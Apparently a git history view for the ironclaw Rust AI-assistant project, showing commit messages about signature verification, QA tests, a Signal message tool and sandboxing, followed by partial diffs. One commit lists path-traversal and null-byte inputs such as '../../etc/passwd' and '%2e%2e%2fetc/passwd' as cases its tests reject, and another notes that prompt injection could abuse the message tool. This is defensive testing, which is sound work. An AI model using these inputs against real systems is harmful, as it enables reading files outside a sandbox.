  signature + timestamp staleness check (5s window via now_secs param)
- Validate Ed25519 keys in register_signature_key() (hex decode +
  VerifyingKey::try_from) before storing, return Result<(), String>
- Recursively resolve nested capabilities in resolve_nested()
- Add 25 new tests: 8 staleness, 6 key validation, 7 webhook
  integration (tower::oneshot), 4 resolve_nested edge cases
- Fix pre-existing clippy warning in signal.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: wire register_signature_key() into all channel loading paths

The Ed25519 signature key registration was implemented and tested but
never called from production code. All three channel loading paths
(setup_wasm_channels, activate_wasm_channel, refresh_active_channel)
now read the public key from the secrets store and register it with
the webhook router, enabling Discord signature verification.

Adds `signature_key_secret_name` field to WebhookSchema so channels
can declare which secret contains their Ed25519 public key.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-27 07:01:54 +00:00
a24fd3e8a3 Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage (#353)
* Add automated QA: tool schema validator, feature-flag CI matrix, Docker build

P0 items from the automated QA plan (#352):

- Add validate_tool_schema() that checks OpenAI strict-mode rules
  (type: object, required keys in properties, nested object/array
  recursion) with 10 unit tests and 6 integration tests covering
  all core built-in tools

- CI test matrix now runs with --all-features, default features, and
  --no-default-features --features libsql to catch dead code behind
  wrong cfg gates

- CI clippy now runs the same 3-feature matrix with --all flags

- Docker build job added to catch missing files in Dockerfile

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P1 automated QA tests and fix LeakDetector prefix shadowing bug

P1 test coverage: config round-trip (settings + bootstrap), shell tool
arg handling, safety adversarial tests (sanitizer, leak detector,
allowlist), turn persistence (conversations, metadata, pagination, jobs),
and a clippy fix for libsql-only builds.

Fixed a real bug where AhoCorasick non-overlapping prefix iteration
caused shorter prefixes (e.g. "sk-") to shadow longer ones
(e.g. "sk-ant-api"), preventing Anthropic API key and SSH private key
detection.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P2 automated QA tests: chaos, lifecycle, collision, and recovery

Cover all P2 items from the automated QA plan:
- Circuit breaker chaos tests (hanging provider, rapid cycles, mixed errors)
- Failover chaos tests (hanging failover, all-fail, tools path, single provider)
- Value estimator boundary tests (negative cost, zero price, zero earnings)
- Context length recovery test (ContextLengthExceeded -> compact -> retry)
- WASM channel lifecycle tests (write/commit/read round-trip, namespace isolation)
- Extension registry collision tests (same-name different-kind coexistence)
- Extension filesystem collision tests (separate dirs, detect_kind priority)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add P3 concurrent stress tests for ContextManager and SessionManager

Tests verify thread safety of double-checked locking, TOCTOU
prevention, and RwLock-based concurrent access patterns under load.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add dispatcher loop guard and self-repair stuck job tests

Dispatcher: test force_text mechanism prevents infinite tool call loops,
verify iteration bound arithmetic guarantees termination for all configs.

Self-repair: test stuck job detection, recovery within attempt limits,
manual escalation when limit exceeded, graceful degradation without
store/builder dependencies.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure design doc

Python + Playwright framework with mock LLM server for deterministic
browser-level testing of the web gateway. Covers connection/auth,
chat round-trip with SSE streaming, and skills lifecycle scenarios.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add E2E testing infrastructure implementation plan

10-task plan covering: scaffolding, mock LLM server, helpers,
conftest fixtures, connection/chat/skills test scenarios,
CI workflow, README, and integration run.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* scaffold: E2E test project with pyproject.toml

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E helpers with DOM selectors and port discovery

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: mock OpenAI-compat LLM server for E2E tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E conftest with session fixtures for mock LLM and ironclaw

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 1 -- connection and tab navigation tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 2 -- chat message round-trip tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: E2E scenario 3 -- skills search, install, remove tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add weekly E2E test workflow with Playwright

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* docs: E2E test README with setup and usage instructions

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test integration fixes from first run

- Use temp file DB instead of :memory: (libSQL :memory: doesn't persist
  tables across execute_batch)
- Fix installed skills selector: #skills-list not #installed-skills
- Add pytest-timeout to dependencies
- Improve skills install/remove test with wait_for instead of fixed sleeps

8 passed, 1 skipped (skills install depends on ClawHub availability)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add OpenAI strict-mode schema validator for all built-in tools (QA 1.1)

Add src/tools/schema_validator.rs with validate_strict_schema() that checks
tool parameter schemas against OpenAI function calling strict-mode rules:
type object at top level, required keys in properties, enum type consistency,
array items definitions, nested object recursion, and additionalProperties.

17 tests validate all 34+ built-in tool schemas across 5 test groups:
- 9 simple tools (echo, time, json, http, shell, file read/write/list/patch)
- 4 job tools (create, list, status, cancel)
- 4 skill tools (list, search, install, remove)
- 13 inline schemas for extension, routine, and complex job tools
- 4 memory tool schemas

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add E2E scenarios for SSE reconnect, HTML injection, and tool approval (QA 3.3/5/6)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: E2E test reliability for HTML injection and SSE reconnect

- HTML injection: test sanitization directly via JS injection instead of
  depending on full LLM round-trip (avoids intermittent 404 from mock)
- SSE reconnect: increase wait times for DB persistence and relax
  assertion to check total message count after history reload

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt formatting

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add WASM and MCP tool schema validation tests (QA 1.1)

Extends the schema validator with representative WASM tool schemas
(weather, HTTP client, batch processor, status), MCP tool schemas
(default, file read, SQL query, strict mode), and defect detection
tests for common external schema issues (missing type, typo in
required, array without items, enum type mismatch).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add auth middleware and compaction module tests

Auth middleware (8 new tests): valid/invalid bearer tokens, query param
fallback, case sensitivity, empty tokens, whitespace handling.

Compaction module (16 new tests): truncation strategy, summarize strategy
with mock LLM, workspace fallback, format_turns helper, sequential
compactions, coherence after compaction, token decrease verification.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add config round-trip integration tests (QA 1.2)

Test the full bootstrap .env lifecycle: write via the same format
as save_bootstrap_env/upsert_bootstrap_var, read back via dotenvy,
and assert values match. Covers LLM backend selection, embedding
disable flag, onboard completion flag, session token keys, multi-key
preservation across upsert, and special characters (spaces, equals,
quotes, backslashes, hashes).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add value estimator boundary tests and dispatcher loop guard (QA 4.3/4.4)

Value estimator (14 new tests): zero/negative prices, large values,
negative cost, exact margin boundaries, custom margin configuration.

Dispatcher loop guard (2 new tests): verifies the dispatch loop terminates
when all tool calls fail (regression guard for PR #252 infinite loop)
and when max iterations are reached.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add failover edge cases and provider chaos tests (QA 2.6/4.1)

Failover edge cases (4 new tests): cooldown at zero nanos, half-open
failure reopens circuit, all providers fail gracefully (no panic),
single failing provider with cooldown.

Provider chaos tests (15 new tests): flakey provider with retries,
hanging provider with timeout, garbage provider, circuit breaker
trip/recover, failover chain cascading, non-transient error stops
chain, full stack integration (retry + failover + circuit breaker).

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review feedback on QA tests

- Fix Bearer auth case-sensitivity per RFC 6750 (auth.rs)
- Refactor bootstrap.rs to expose path-parameterized variants so
  config_round_trip tests call real code instead of reimplementations
- Remove deprecated event_loop fixture, use dynamic ports, minimal env,
  session-scoped browser, and wire HEADED=1 in E2E conftest
- Add cross-referencing doc comments between schema validators
- Simplify array validation logic in tool.rs
- Bump e2e.yml checkout@v4 to @v6

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt and fix clippy warning in signal.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: improve E2E fixture error reporting and prevent stdin blocking

- Add --no-onboard flag to prevent wizard from blocking in CI
- Pipe /dev/null to stdin to prevent any stdin reads from hanging
- Add RUST_BACKTRACE=1 for crash diagnostics
- On server startup timeout, dump stderr to pytest output so CI
  logs show why the server failed to start

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set session-scoped event loop for E2E async fixtures

pytest-asyncio 1.3.0 defaults asyncio_default_fixture_loop_scope to
None (function scope), causing session-scoped async fixtures to be
re-evaluated per test function with independent event loops. Each test
then independently attempts to start the ironclaw server, times out
at 120s, and wastes ~24 minutes of CI before the job is cancelled.

Setting asyncio_default_fixture_loop_scope = "session" ensures all
session-scoped async fixtures share a single event loop, so the server
starts once and is reused across all tests.

Also adds -x flag to pytest in CI to stop on first failure instead of
running all 19 tests when the fixture is broken.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: set test loop scope to session to match fixture loop scope

With asyncio_default_fixture_loop_scope=session but
asyncio_default_test_loop_scope=function (the default), tests run on
a per-function event loop while fixtures produce objects (Playwright
pages, browser contexts) on the session event loop. This event loop
mismatch causes the test to hang indefinitely awaiting Playwright
operations that are bound to the wrong loop.

Setting both scopes to "session" ensures a single event loop is shared
across all fixtures and tests, eliminating the deadlock.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* ci: add roll-up jobs to match branch protection required checks

Branch protection expects "Code Style (fmt + clippy)" and "Run Tests"
status checks, but only individual job names were reported. Add
roll-up jobs that aggregate results and report the expected names.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-27 09:09:45 +04:00
e8eb4ca0bd fix: prevent duplicate WASM channel activation on startup (#390)
Register boot-loaded WASM channel names with the extension manager via
set_active_channels() before set_channel_runtime() so the dedup guard
in activate_wasm_channel() is armed before the activation path becomes
available. This fixes 409 Conflict errors from the Telegram API caused
by two concurrent getUpdates polling loops.

Also fix pre-existing clippy warning in signal.rs test.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-27 07:54:01 +04:00
ibhagwanandGitHub bf35b59222 feat(signal) attachment upload + message tool (#375)
* feat(channels/signal): add attachment upload support

- Add attachments field to OutgoingResponse for carrying file paths
- Add with_attachments() builder method to OutgoingResponse
- Update build_rpc_params() to include attachments array in JSON-RPC
- Update respond() and broadcast() to handle attachments:
  - Text + attachments: sends text first, then each attachment
  - Attachments only: sends each attachment with path as message
  - Text only: original behavior (no change)
- Add tests for build_rpc_params with attachments
- Add tests for OutgoingResponse attachment builder

This enables the Signal channel to send files via signal-cli daemon's
JSON-RPC send method, matching the nullclaw implementation.

Risk: Low - uses existing JSON-RPC infrastructure
Tests: 85 signal tests pass, 1543 lib tests pass

* feat(tools): add message tool for cross-channel messaging

Add a new 'message' tool that allows the agent to send messages to
any connected channel (signal, telegram, slack, etc.) with optional
file attachments.

Features:
- Send messages to specific channel + target combinations
- Support for attachments (file paths)
- E.164 validation delegated to channel (signal expects +number,
  telegram accepts username/chat_id, slack uses #channels)
- Helpful error messages showing available channels on failure

Tool schema:
- content: message text (required)
- channel: target channel name (optional, defaults to current channel)
- target: recipient (E.164, group ID, chat ID) (optional, defaults to
  current user/group chat)
- attachments: optional file paths to send

This complements the recently added attachment upload support for the
Signal channel by giving the agent a proper way to specify attachments
when sending messages.

Tests: 4 new tests for message tool schema
Risk: Low - new tool with no breaking changes
Tests: All 1547 lib tests pass, clippy clean

* feat(llm): add conversation context to system prompt for Signal

Add conversation_context HashMap to Reasoning struct to pass channel-specific
metadata (sender phone, sender UUID, group ID) to the LLM. This helps the
agent know who/group it's talking to, preventing it from hallucinating
phone numbers or sending to wrong recipients.

Changes:
- Add conversation_context field and with_conversation_data() builder method
- Add build_conversation_section() to include current conversation info in system prompt
- Update dispatcher to extract Signal metadata (sender, sender_uuid, group) and pass to Reasoning
- Add signal_sender_uuid to Signal channel metadata for privacy mode users

* feat(tools): add secure attachment path validation with sandbox enforcement

Implement robust path validation for message tool attachments to prevent
directory traversal attacks and unauthorized file access. Attachments are
now sandboxed to ~/.ironclaw/ by default.

Key changes:
- Create shared path_utils module with validate_path() and is_path_safe_basic()
- Extract normalize_lexical() from file.rs for reuse
- MessageTool now enforces sandbox at ~/.ironclaw/ for all attachments
- Path validation includes: traversal detection, canonicalization, symlink resolution
- Error messages reveal the allowed sandbox directory for user clarity

Security improvements:
- Blocks path traversal attacks (../, URL-encoded, null bytes)
- Canonicalizes paths to resolve symlinks before validation
- Walks up to nearest existing ancestor for non-existent paths
- Prevents escape from sandbox directory

Backward compatibility:
- File tools continue to work with their configured base_dir
- Message tool defaults to ~/.ironclaw/ sandbox
- Tests updated to create files within sandbox

Tests added:
- path_utils module tests (9 tests for validation logic)
- message tool attachment validation tests
- All 1571 existing tests pass

* fix(channels/signal): use robust path validation with full security coverage

Signal channel's validate_attachment_paths() now uses path_utils::validate_path()
for consistent, secure path validation.

Fixes:
- Replaced weak path.contains('..') check with robust validate_path()
- validate_path() now includes is_path_safe_basic() as first-pass filter to
  block null bytes and URL-encoded traversal sequences (%2e%2e%2f)
- Error message now shows allowed sandbox directory (~/.ironclaw/)

Security coverage:
- Path traversal: ../, foo/../bar, ../../etc/passwd ✓
- URL-encoded traversal: %2e%2e%2fetc/passwd ✓
- Null byte injection: file\0.txt ✓
- Paths outside sandbox: /tmp/evil.txt ✓
- Symlink escape attempts (via canonicalization) ✓

Tests added:
- validate_attachment_paths_rejects_path_outside_sandbox
- validate_attachment_paths_rejects_url_encoded_traversal
- validate_attachment_paths_rejects_null_byte
- Fixed broken assertion in rejects_double_dot test

* fix(llm): add Signal channel to build_channel_section to include message tool hint

The catch-all '_' arm was returning early before the message_tool_hint
section was constructed, which meant Signal users never got the
'## Proactive Messaging' section with examples for:
- Using attachments parameter
- Targeting different users/groups
- Cross-channel messaging

Now Signal will include the full message_tool_hint section with usage examples.

* fix(tools): use async locks in register_message_tools to prevent silent failures

The method was using register_sync which calls try_write() on self.tools.
If the lock was held, try_write() would return Err and silently skip
adding the tool to the registry, while self.message_tool already held
a reference. This creates an inconsistent state.

Fix: use async write locks directly instead of register_sync to ensure
the tool is always registered or the method fails explicitly.

* refactor(dispatcher): use Channel trait for conversation context

Replace hardcoded 'if message.channel == signal' block with generic
conversation_context() method on the Channel trait. This allows any
channel to provide context (sender, group, etc.) without hardcoding
channel names.

Changes:
- Add conversation_context() method to Channel trait (default: empty)
- Implement for SignalChannel: extracts sender, sender_uuid, group
- Add get_channel() to ChannelManager (returns Arc<dyn Channel>)
- Change ChannelManager storage from Box to Arc for shared access
- Update dispatcher to use new trait method
- Add tests for conversation_context extraction

Other channels (Telegram, Slack, Discord) can now implement this
method to provide conversation context without code changes in dispatcher.

* fix(tests): split message_tool_with_attachments into sandbox and channel tests

The original test was passing for the wrong reason - it expected an error
because the channel doesn't exist, but actually failed earlier during sandbox
validation because /tmp paths are outside ~/.ironclaw/.

Split into two tests:
- message_tool_with_attachments_outside_sandbox: verifies sandbox rejection
  with explicit error message check
- message_tool_with_attachments_inside_sandbox_no_channel: uses files within
  sandbox (like message_tool_passes_attachment_to_broadcast does) and verifies
  the channel-related error message

* security(message tool): add rate limiting, approval requirements, and audit logging

The message tool can send to ANY connected channel/target making it a significant
abuse vector if the LLM is compromised or prompt-injected. This commit adds:

1. Rate limiting: 10 messages/minute, 100/hour per user
2. Approval requirement: Always requires approval for cross-channel messages
   (when channel differs from the default conversation channel)
3. Audit logging: Every successful message send is logged with channel,
   target, and attachment count

The approval logic:
- If channel param is provided and differs from default -> Always require approval
- If no default channel is set and explicit channel provided -> Always require approval
- Otherwise (using default channel) -> UnlessAutoApproved

* fix(message tool): return explicit error for malformed attachments array

Previously, malformed attachments like {"attachments": [123, true]} would be
silently ignored via .ok().unwrap_or_default(), leaving users confused
when attachments weren't sent.

Now returns explicit error: "Invalid attachments format: ..."

* fix(message tool): verify attachment files exist before sending

Previously, non-existent paths would pass sandbox validation and surface
as confusing Signal RPC errors. Now returns clear "Attachment file not found" error.

* fix(test): create sandbox directory if it doesn't exist for CI

The test validate_attachment_paths_accepts_normal_paths uses
tempfile::tempdir_in() which requires the parent directory to exist.
In CI, ~/.ironclaw doesn't exist, causing test failure.
2026-02-26 18:06:21 +04:00
163 changed files with 17979 additions and 2928 deletions
+1 -13
View File
@@ -4,7 +4,7 @@ DATABASE_POOL_SIZE=10
# LLM Provider # LLM Provider
# LLM_BACKEND=nearai # default # LLM_BACKEND=nearai # default
# Possible values: nearai, ollama, openai_compatible, openai, anthropic, tinfoil, openai_codex # Possible values: nearai, ollama, openai_compatible, openai, anthropic, tinfoil
# === NEAR AI (Chat Completions API) === # === NEAR AI (Chat Completions API) ===
# Two auth modes: # Two auth modes:
@@ -57,18 +57,6 @@ NEARAI_AUTH_URL=https://private.near.ai
# LLM_BASE_URL=https://api.fireworks.ai/inference/v1 # LLM_BASE_URL=https://api.fireworks.ai/inference/v1
# LLM_API_KEY=fw_... # LLM_API_KEY=fw_...
# === OpenAI Codex (Responses API) ===
# Two auth modes:
# 1. API key: Standard OpenAI billing (api.openai.com/v1/responses)
# 2. Codex CLI OAuth: ChatGPT subscription billing (chatgpt.com)
# Reads token from ~/.codex/auth.json (or $CODEX_HOME/auth.json)
# OPENAI_CODEX_MODEL=gpt-5.3-codex
# LLM_BACKEND=openai_codex
# OPENAI_CODEX_API_KEY=sk-... # API key mode
# CODEX_AUTH_PATH=~/.codex/auth.json # OAuth mode (default path)
# OPENAI_CODEX_ACCOUNT_ID=... # Required for ChatGPT endpoint
# OPENAI_CODEX_BASE_URL=... # Override base URL
# For full provider setup guide see docs/LLM_PROVIDERS.md # For full provider setup guide see docs/LLM_PROVIDERS.md
# Channel Configuration # Channel Configuration
+44 -8
View File
@@ -3,8 +3,8 @@ on:
pull_request: pull_request:
jobs: jobs:
codestyle: format:
name: Code Style (fmt + clippy) name: Formatting
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout repository - name: Checkout repository
@@ -13,10 +13,46 @@ jobs:
uses: dtolnay/rust-toolchain@stable uses: dtolnay/rust-toolchain@stable
with: with:
profile: minimal profile: minimal
components: rustfmt, clippy components: rustfmt
- uses: Swatinem/rust-cache@v2
- name: Check formatting - name: Check formatting
run: | run: cargo fmt --all -- --check
cargo fmt --all -- --check
- name: Check lints (cargo clippy) clippy:
run: cargo clippy -- -D warnings name: Clippy (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
components: clippy
- uses: Swatinem/rust-cache@v2
with:
key: clippy-${{ matrix.name }}
- name: Check lints
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
# Roll-up job for branch protection
code-style:
name: Code Style (fmt + clippy)
runs-on: ubuntu-latest
if: always()
needs: [format, clippy]
steps:
- run: |
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
+50
View File
@@ -0,0 +1,50 @@
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v -x --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
+49 -3
View File
@@ -7,7 +7,33 @@ on:
jobs: jobs:
tests: tests:
name: Run Tests name: Tests (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
- uses: Swatinem/rust-cache@v2
with:
key: ${{ matrix.name }}
- name: Run Tests
run: cargo test ${{ matrix.flags }} -- --nocapture
telegram-tests:
name: Telegram Channel Tests
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout repository - name: Checkout repository
@@ -17,7 +43,27 @@ jobs:
with: with:
profile: minimal profile: minimal
- uses: Swatinem/rust-cache@v2 - uses: Swatinem/rust-cache@v2
- name: Run Tests
run: cargo test --all-features -- --nocapture
- name: Run Telegram Channel Tests - name: Run Telegram Channel Tests
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
# Roll-up job for branch protection
run-tests:
name: Run Tests
runs-on: ubuntu-latest
if: always()
needs: [tests, telegram-tests, docker-build]
steps:
- run: |
if [[ "${{ needs.tests.result }}" != "success" || "${{ needs.telegram-tests.result }}" != "success" || "${{ needs.docker-build.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
+52
View File
@@ -7,6 +7,58 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
## [Unreleased] ## [Unreleased]
## [0.13.1](https://github.com/nearai/ironclaw/compare/v0.13.0...v0.13.1) - 2026-03-02
### Added
- add Brave Web Search WASM tool ([#474](https://github.com/nearai/ironclaw/pull/474))
### Fixed
- *(web)* auto-scroll and Enter key completion for slash command autocomplete ([#475](https://github.com/nearai/ironclaw/pull/475))
- correct download URLs for telegram-mtproto and slack-tool extensions ([#470](https://github.com/nearai/ironclaw/pull/470))
## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02
### Added
- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438))
- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435))
- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436))
- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437))
- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399))
- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404))
- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398))
- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382))
- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397))
- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375))
### Fixed
- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421))
- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446))
- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428))
- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432))
- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401))
- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427))
- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433))
- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430))
- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431))
- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426))
- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424))
- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423))
- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422))
- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434))
- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391))
- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372))
- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390))
### Other
- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445))
- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371))
- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353))
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26 ## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
### Added ### Added
Generated
+369 -144
View File
File diff suppressed because it is too large Load Diff
+10 -1
View File
@@ -19,7 +19,7 @@ exclude = [
[package] [package]
name = "ironclaw" name = "ironclaw"
version = "0.12.0" version = "0.13.1"
edition = "2024" edition = "2024"
rust-version = "1.92" rust-version = "1.92"
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly" description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
@@ -52,6 +52,9 @@ deadpool-postgres = { version = "0.14", optional = true }
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true } tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true } postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true } refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
tokio-postgres-rustls = { version = "0.13", optional = true }
rustls = { version = "0.23", optional = true, default-features = false }
rustls-native-certs = { version = "0.8", optional = true }
# Database - libSQL/Turso (optional embedded database) # Database - libSQL/Turso (optional embedded database)
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] } libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] }
@@ -154,6 +157,8 @@ lru = "0.16.3"
# HTML to Markdown conversion (feature gated) # HTML to Markdown conversion (feature gated)
html-to-markdown-rs = { version = "2.3", optional = true } html-to-markdown-rs = { version = "2.3", optional = true }
readabilityrs = { version = "0.1.2", optional = true } readabilityrs = { version = "0.1.2", optional = true }
ed25519-dalek = { version = "2.2.0", features = ["std"] }
hex = "0.4.3"
# macOS keychain # macOS keychain
[target.'cfg(target_os = "macos")'.dependencies] [target.'cfg(target_os = "macos")'.dependencies]
@@ -170,12 +175,16 @@ tokio-tungstenite = "0.26"
testcontainers-modules = { version = "0.11", features = ["postgres"] } testcontainers-modules = { version = "0.11", features = ["postgres"] }
pretty_assertions = "1" pretty_assertions = "1"
tempfile = "3" tempfile = "3"
insta = "1.46.3"
[features] [features]
default = ["postgres", "libsql", "html-to-markdown"] default = ["postgres", "libsql", "html-to-markdown"]
postgres = [ postgres = [
"dep:deadpool-postgres", "dep:deadpool-postgres",
"dep:tokio-postgres", "dep:tokio-postgres",
"dep:tokio-postgres-rustls",
"dep:rustls",
"dep:rustls-native-certs",
"dep:postgres-types", "dep:postgres-types",
"dep:refinery", "dep:refinery",
"dep:pgvector", "dep:pgvector",
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# Build the Discord channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - discord.wasm - WASM component ready for deployment
# - discord.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building Discord channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm
# Optimize the component
wasm-tools strip discord.wasm -o discord.wasm
echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))"
echo ""
echo "To install:"
